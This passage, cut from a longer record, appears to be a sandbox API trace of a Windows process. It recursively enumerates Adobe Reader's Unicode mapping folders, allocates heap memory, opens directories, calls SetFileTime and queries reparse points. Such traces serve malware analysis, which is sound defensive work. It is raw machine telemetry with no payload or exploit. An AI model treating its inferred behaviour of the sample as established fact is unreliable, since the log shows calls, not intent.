RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efac8 [0084.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2440 [0084.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.659] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYMBOL.TXT", cAlternateFileName="")) returned 1 [0084.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efae8 [0084.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2548 [0084.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.661] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THAI.TXT", cAlternateFileName="")) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efb08 [0084.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2650 [0084.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.663] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3219, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURKISH.TXT", cAlternateFileName="")) returned 1 [0084.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efb28 [0084.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2758 [0084.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.664] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 1 [0084.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efb48 [0084.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2860 [0084.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.666] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 0 [0084.666] GetLastError () returned 0x12 [0084.666] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0084.666] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARABIC.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3294, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTEURO.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x31aa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINSIMP.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINTRAD.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="CORPCHAR.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x34f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CROATIAN.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3478, dwReserved0=0x0, dwReserved1=0x0, cFileName="CYRILLIC.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6145, dwReserved0=0x0, dwReserved1=0x0, cFileName="FARSI.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x342b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREEK.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEBREW.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x377c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICELAND.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x320dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAPANESE.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x591cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOREAN.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3857, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMAN.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMANIAN.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYMBOL.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THAI.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3219, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURKISH.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 1 [0084.667] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 0 [0084.667] GetLastError () returned 0x12 [0084.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0e98) returned 1 [0084.667] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0084.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0d90) returned 1 [0084.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0c88) returned 1 [0084.669] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1 [0084.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0c88 [0084.669] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0084.708] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0084.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.709] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0084.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.710] NtClose (Handle=0x174) returned 0x0 [0084.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12e0c88) returned 1 [0084.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0c88 [0084.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0d90 [0084.711] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0084.757] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.757] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2664, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1250.TXT", cAlternateFileName="")) returned 1 [0084.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0e98 [0084.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efb68 [0084.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2968 [0084.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.760] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83386a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1251.TXT", cAlternateFileName="")) returned 1 [0084.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efb88 [0084.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e2a70 [0084.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.762] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1252.TXT", cAlternateFileName="")) returned 1 [0084.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 